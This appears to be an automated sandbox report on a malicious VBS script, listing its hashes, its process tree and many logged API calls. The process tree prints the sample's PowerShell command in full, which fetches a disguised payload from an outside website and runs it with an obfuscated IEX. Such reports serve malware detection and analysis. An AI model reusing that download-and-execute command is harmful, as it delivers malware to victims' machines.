Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 16, 2023, 2:08 p.m.	Sept. 16, 2023, 2:10 p.m.

Size	328.0B
Type	ASCII text, with CRLF line terminators
MD5	`436149987ce1895d521efedd239e1d66`
SHA256	`f71c91b7490dae7d77dc8cb3874f9b82b4680a604b75dcc2b92f5aafa50a4323`
CRC32	`4D72B4D2`
ssdeep	`6:Ze/xxfoZAuaHfOKQLh8clznZY+1CFVOlAZuv+gtLPdNd06Bnm9xIzQows+hPRLVW:k/8+5iG+O+CFv49L1f06BnaO7+hPRAP`
Yara	Antivirus - Contains references to security software

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\welcome.txt.vbs
1984
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &{ $a = 'C:\Users\Public\file.txt';Invoke-WebRequest -H @{'apiKey'='keyValue'} https://freaksbuzz.com/wp-content/uploads/welcome.png -OutFile $a;Sleep 5;IE`X([IO.File]::ReadAllText($a))}
  2068

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 16, 2023, 2:07 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 16, 2023, 2:07 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 16, 2023, 2:07 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 16, 2023, 2:07 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 16, 2023, 2:07 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 16, 2023, 2:07 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 16, 2023, 2:07 p.m.			0	0

Command line console output was observed (18 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio console_handle: 0x00000023	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: n, script file, or operable program. Check the spelling of the name, or if a pa console_handle: 0x0000002f	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: th was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: At line:1 char:53 console_handle: 0x00000047	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: + &{ $a = 'C:\Users\Public\file.txt';Invoke-WebRequest <<<< -H @{'apiKey'='key console_handle: 0x00000053	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: Value'} https://freaksbuzz.com/wp-content/uploads/welcome.png -OutFile $a;Sleep console_handle: 0x0000005f	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: 5;IE`X([IO.File]::ReadAllText($a))} console_handle: 0x0000006b	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C console_handle: 0x00000077	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: ommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x0000008f	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: Exception calling "ReadAllText" with "1" argument(s): "Could not find file 'C:\ console_handle: 0x000000af	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: Users\Public\file.txt'." console_handle: 0x000000bb	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: At line:1 char:181 console_handle: 0x000000c7	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: + &{ $a = 'C:\Users\Public\file.txt';Invoke-WebRequest -H @{'apiKey'='keyValue' console_handle: 0x000000d3	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: } https://freaksbuzz.com/wp-content/uploads/welcome.png -OutFile $a;Sleep 5;IE` console_handle: 0x000000df	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: X([IO.File]::ReadAllText <<<< ($a))} console_handle: 0x000000eb	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x000000f7	1	1
WriteConsoleW Sept. 16, 2023, 2:07 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x00000103	1	1

Uses Windows APIs to generate a cryptographic key (48 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004440c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004447c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004447c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004447c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00443e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00443e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00443e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00443e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00443e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00443e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004447c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004447c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004447c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004444c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004444c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004444c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00444900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004444c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004444c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004444c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004444c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004444c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004444c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004444c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004449c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00444a40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00444a40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00444a40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00444a40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00444a40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00444a40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00444a40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00444a40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00444a40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 16, 2023, 2:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00444a40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 16, 2023, 2:07 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 147 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 720896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02610000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02611000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02612000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0252b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02527000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02512000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02525000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04880000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0252c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02513000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02514000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02515000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02516000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02517000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02518000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02519000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e13000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e14000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e15000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e16000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e17000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e18000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e19000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 16, 2023, 2:07 p.m.	process_identifier: 2068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
